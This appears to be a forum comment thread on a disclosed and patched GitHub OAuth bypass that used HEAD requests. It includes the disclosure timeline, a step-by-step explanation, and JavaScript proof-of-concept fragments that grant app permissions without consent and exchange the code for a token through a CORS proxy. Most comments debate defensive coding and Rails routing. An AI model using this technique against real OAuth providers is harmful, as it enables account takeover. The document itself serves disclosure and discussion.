Bypassing GitHub's OAuth Flow with a Head Request
blog.teddykatz.com
blog.teddykatz.com
* 2019-06-19 23:36:50 UTC Issue confirmed by GitHub security team
* 2019-06-20 02:44:29 UTC Issue patched on github.com, GitHub replies on HackerOne to double-check that the patch fully resolves the issue
* 2019-06-26 16:19:20 UTC GitHub Enterprise 2.17.3, 2.16.12, 2.15.17, and 2.14.24 released with the patch (see GitHub’s announcement).
* 2019-06-26 22:30:45 UTC GitHub awards $25000 bounty
So used to these disclosure articles where the timelines look very different, communication is lacking and there's pushback on the bounties etc.
Refreshing to see that sometimes the process works as everyone hopes it will.
I am mostly impressed that they paid out $25k in under a week. That’s a sign of not just a good engineering setup, but some good bureaucracy as well.
Been managing GHE for years, and I have been consistently impressed with Github's code quality, competence, and even product management (nearly every time I think, "there should be a way to...", there already is).
From the outside, at least, they look like the model to emulate for this sort of application.
(I have come to think, as a software engineer, that we've comuterized so much of social life such that our economy literally could not afford it if it wasn't mostly crap).
And this was definitely approved before they went out and told people what they would pay for different bugs.
Your sentiment, though, is why it's nice when it is publicized that the system is working as intended, like it did in this case.
Personally, I always check for all N conditions, and raise an exception when "the impossible" happens; this way, the application would fail noisily instead of silently doing something unintended. However, sometimes other people would "optimize" away my last condition, which is very frustrating.
Edit: Checking for all N cases helps with readability too. Otherwise one has to figure out what exactly is the remaining case by exclusion, which is sometimes not at all obvious.
If the code has branches for each possible case, and then an "else" to cover anything else (which raises an exception indicating something impossible has happened), there is often no good way to write a test that covers the "else" logic, since the coder doesn't believe there's a way to end up going there. Or if there is a way to force it to happen, it involves jumping through hoops that are too much effort.
* Rust has an unreachable!() macro that tells readers and static analyzers that it should be dead code; but raises an error if executed at runtime. https://doc.rust-lang.org/std/macro.unreachable.html
* Languages with pattern-matching will either crash at compile-time if the set of clauses is non-exhaustive, or at run time if a case is missing. That is, if you don't have a catch-all clause.
if(option==1)
do_somethimg();
else
do_something_else();
...must then be rewritten as: if(option==1)
do_somethimg();
else if(option==2)
do_something_else();
else
abort();
This kind of defensive coding would have helped to prevent the famous ‘goto fail’ bug from a few years ago. if request.get?
# serve authorization page HTML
else
# grant permissions to app
end
I know that's really smell. Why would I put a serious statement inside `else` block?Why would you avoid a serious statement in an else?
Would this be more acceptable? The negative on the if
if !request.get? if request.post? || request.put? || more...
# do dangerous thing
else
# do safe thing
This of course ignores the smell which others have pointed out where with rails you would ideally have a totally different method get called in the first place for a GET vs a POST as you can have different actions for them in the controller.Robot:
if !request.get?
do_nothing
else
kill_one_person
end
What are possible states for NOT `!get?`, I have to think twice or all day thinking.The problem is that real world program may have exception state you can't think of. If you write down a set of finite state; {A,B,C,D}.
if A
# For A, do nothing
else
# for B or C or D, kill a man
end
It's sure that if not A, it's going to be B|C|D. But what if it isn't? You could get an exceptional Z which will kill a man too. You know A better anything "else".Also easy to bake into basic static analysis going forward. Knowing GitHub, I'd think a bug like this probably won't show up again in the near future.
It always is. The moment you can shine light between your model of what the code does and what it actually does you have at least a bug and maybe much worse.
What's funny here is, apparently, .get? used to return true for HEAD requests.
I wonder if Rails will fix the default implementation of handling HEAD requests, similar to how they overhauled the default handling of mass assignment of parameters in 2012 (coincidentally, a flaw also exposed via Github) [0]? Obviously, the latter issue posed a much bigger risk to the average Rails app.
[0] https://news.ycombinator.com/item?id=3666564
edit: fixed URL
It absolutely should. Nobody expected Rails to covertly turn HEAD into GET. It must be explicit "get_or_head" method in routes.rb
But I do agree with your point that routing of HEAD requests should be explicit.
Pardon my poor wording indeed, I intended to mean this too.
1. Send an ajax HEAD request, which grants the permissions.
2. However, since the HEAD response doesn't have valid CORS headers, you can't read the 'code' parameter from the HEAD response.
3. To get around CORS, the proof-of-concept redirects the user to the same OAuth url again.
4. Since the user has already authorized the scope (from the previous HEAD request), Github automatically redirects back to the redirect_uri (the proof-of-concept page) with a new 'code' that the author can then use.
So I have two questions:
a) If I have 3rd party cookies disabled, will the "credentials: 'include'," part of the ajax HEAD request still work?
b) Why does Github automatically redirect back the 2nd time without asking the user to authorize again? I thought it was best practice to ask the user to click authorize every time even if they're authorizing the same scope they previously authorized?
[1]: https://not-an-aardvark.github.io/oauth-bypass-poc-fbdf56605...
It would give the end-user the impression the app was not authorized when in fact it was, which could create its own issues.
So now you’re designing a whole different page which shows the app is authorized with a POST form just to do the redirect?
And if the entire purpose is to try to avoid any place that you can GET a redirect to the app, you better hope that’s the only place where it could happen.
A client should usually only redirect the user to the OAuth authorization endpoint when:
(a) they don't have an access_token (e.g. they haven't asked for authorization yet)
(b) their current access_token or refresh_token got rejected (e.g. the resource owner revoked access, so they need to reauthorize)
(c) they want to change scope of access
So the situation where you redirect the user to the OAuth authorization endpoint when they've already granted access and with the same scope is usually when something strange is going on (like when the client loses your access_token or this exploit happens).
So why would you have different behavior (not asking to click Authorize) just to streamline the atypical scenario? Especially when it leaves open the possibility to be exploited[1], create confusing situations[2], or be mis-categorized as an opt-in event when it isn't[3]. As a user, I'd like to think that I'd always get the same behavior every time I'm redirected to an OAuth authorization endpoint, because the OAuth provider doesn't have any idea what the situation is on the client side and assuming it's okay to auto-redirect without asking for my consent again is dangerous.
[1]: This HEAD bug would have not been able to be exploited in the wild if the auto-redirect wasn't in place.
[2]: In clients that allow users to have multiple accounts (where each can hook-up a github connection), auto-redirects creates confusing revocations across the multiple client accounts. For example, Bob authorizes a github connection to account A, then when he switches to account B wants to authorize github again. If auto-redirect is in place, then Bob wouldn't see anything (since it is a transparent redirect), but account B's connection would start working and account A's connection would silently stop working. If there were an authorize click, Bob would see the same behavior for account A and account B, and probably be able to put together that if he clicks authorize on one account, the other stops working. Auto-redirects makes Bob figuring out what's going on really hard.
[3]: Privacy regulations are requiring opt-in more and more, and OAuth is seen as a fairly good mechanism for proving someone "opt'd in". If a regulation requires a "consent" to have an expiration (e.g. an accounting app must require the user to re-authorize bank access on a yearly basis), then when the users is asked to "consent" again, if they get auto-redirected, they can later claim they were never asked to consent because they never clicked authorize again after a year.
I think you should post this on Github's HackerOne, maybe they'll agree and pay you some lunch money!
I've never seen an authorization server that works that way. Because I walked to make sure I wasn't missing anything, I went back and reviewed all the guidance I could find on the matter and can't find any reference to the suggestion you make.
This is only enforced for public clients though that don't have verifiable reply URIs - so web sites are OK.
Do they also disallow the use of refresh tokens? It would seem that allowing refresh would let a malicious app get around the requirement.
The spec says, "If the authorization server observes multiple attempts to exchange an authorization code for an access token, the authorization server SHOULD attempt to revoke all access tokens already granted based on the compromised authorization code."[1]
If an authorization server implements the recommended behavior and an auto-redirect, doesn't that mean that GET requests will no longer be safely considered immutable since they may cause revocation of previous access_tokens?
Reusing the same authorization code should of course be considered suspicious.
Other comments here seem to disagree with this, but I think you are correct. In all of my applications with OAuth, I always ask the user to confirm, even if they already authorized. I figure that user should be very aware that they are authorizing a 3rd party.
Now I've never actaully seen another system that worked this way (as was pointed out), but I think they are just doing that for user convenience without realizing the security implications.
It makes me appreciate working with languages that support pattern matching like Elixir.
I think this type of bug would have been preventable with pattern matching because that single controller function would have likely been split out into 2 functions that each matched against a specific HTTP method, and when the unmatched pattern came into play (the HEAD request) it would have failed to find a match and then threw an error instead of processing it as something else.
People create (for example) a get ‘/profile’ and a post ‘/profile’, and the action intended to correspond with post requests really just pattern matches against params.
I’ve also seen at least one app implement this properly, matching against the HTTP method as you described.
def profile(conn = %{method: "GET"}, params) do
# ...
end
def profile(conn = %{method: "POST"}, %{"user" => user_params) do
# ...
end
This would be in a case where your router looks like: get "/profile", UserController, :profile, as: :user
post "/profile", UserController, :profile, as: :user
That's what I'm doing in my code base at the moment. Mainly thanks to Changelog open sourcing their platform, and you can see that pattern being used here: https://github.com/thechangelog/changelog.com/blob/f9b0a7587...The above seems like the natural way to do it with Phoenix once you get a hang of pattern matching.
> "Safe" HTTP methods include "GET", "HEAD", "OPTIONS", and "TRACE", as defined in Section 4.2.1 of [RFC7231].
But I wonder if GitHub could issue a separate SameSite=Strict cookie here as a defense in depth measure to cause the initial part of the PoC (HEAD request with credentials: include) to fail?
It also reminded me of why "match" was removed in the first place - http://homakov.blogspot.com/2012/04/whitelist-your-routes-ma... - you could route any POST request via GET therefore bypassing CSRF checks still getting inside the controller.
In a rails env the only way to upgrade to non-standard methods (PATCH, PUT etc) were always to supply _method and pass CSRF protection first.
This trick is clearly a bypass because it instructs browser to make a HEAD request, something it never did before. If you try to make other non-standard request you will get this error:
Uncaught (in promise) TypeError: Failed to execute 'fetch' on 'Window': 'PATCH' is unsupported in no-cors mode.
I'm not a fan of the hacks that exist to allow HTML forms to emulate other request methods. They're off by default in ASP.NET Core MVC, which is good IMO.
For this reason browser upgrades must be extremely careful to not break older protections.
That's why you cannot set your own referer (which is supposed to mean nothing), you cannot supply Content-type: application/json unless instructed by CORS preflight, etc etc.
Here, the backwards compatibility was clearly broken. It was never possible to send HEAD few years ago with regular XHR or <img>s. Web standards owe $25k back to github. Yes, github's routing was flawed but it wasn't exploitable until browsers allowed HEAD in fetch() no-cors mode.
It's too late for that though. We've already had e.g. Referrer-Policy come and break existing CSRF protection which treated an empty/missing Referer header as 'safe'. You're right that bad assumptions are going to made all over the place in the real world, but browser vendors shouldn't shoulder all of that responsibility.
You have to draw the line somewhere, right?
Seriously who needs HEAD in their client side development? It's purely a technical method w/o clear use pattern. It's not even valid in <form method=""> so why would it be valid in fetch()? Oh and PATCH/PUT are still invalid in fetch().
We're lucky that this code pattern is only common in Rails. Otherwise it could open a whole class of bugs.
The only reason this bug existed is because Rails treated HEAD as GET in some cases but not others. The sensible behavior here would be, in the Router, if the route didn't explicitly specify :head then it should convert the request to GET before handing it to the route. A route that wants to explicitly support HEAD (e.g. by skipping the response body) should explicitly specify :head on the route.
But the existence of this rails bug says nothing at all about the security of HEAD in general.
It is the main reason, yes, but not the only reason. If it wasn't possible to craft cross-site HEAD (which devs use in real life like.. never?) the bug would stop right there.
With an extra method if-else logic turned faulty. I would argue 90% web devs don't even remember of HEAD and what it means. Reasonably so, because it's rather never used.
IMO order of blame: 1) rails 2) browsers 3) github code relying on .get?
You're still focusing on the wrong thing. HEAD requests are largely obsolete at this point, yes, but that doesn't mean browsers would be right in changing the semantics of a HEAD request. The problem here isn't that browsers use the same security model for HEAD that they do for GET (as that's absolutely correctly) but that Rails decided to only partially support HEAD. Another simple fix for this bug would have been for Rails to simply give no special behavior to HEAD at all, and therefore any route that doesn't explicitly specify :head wouldn't be used for a HEAD request. The fact that Rails decided to deliver HEAD requests to a GET route without changing the request to actually appear as a GET request is a serious design mistake, and not one that browsers are responsible for.
const authUrl = `https://github.com/login/oauth/authorize?
client_id=${CLIENT_ID}&scope=read:user&authorize=1`;
fetch(
authUrl,
{
method: 'HEAD',
credentials: 'include',
mode: 'no-cors'
}
) fetch(
// For the proof-of-concept, use a proxy to get around CORS. This is only necessary because the proof of concept runs
// clientside in a browser; an alternative would be to just send the code to a server and do the request there.
'https://cors-anywhere.herokuapp.com/https://github.com/login/oauth/access_token',
{
method: 'POST',
mode: 'cors',
headers: {
Accept: 'application/json',
'Content-Type': 'application/json'
},
body: JSON.stringify({
client_id: CLIENT_ID,
client_secret: CLIENT_SECRET,
code
})
}
)`if/else` is pretty much only use for boolean with exact 2 states.
Not like this issue but the use of `if/else` can lead to thing like:
loop do
# do thing and increase i
break if i == 10
end
If i go from 9 to 11, we never exit the loop.In language like Erlang, when you write `if/else` it force you to handle all the cases with pattern matching which I think may help reduce amount of unhandled state check error.
I feel like it’s the most common critical vulnerability that crops up on every major site in one form or another.
A solid lack of understanding at all layers of the OSI model, especially the first three.
One day I received an email saying that a third party app was added to my github account, they in an instant it says my password has been changed, key was stripped, etc.
Would advise sending a support request in, if you think this happened to you.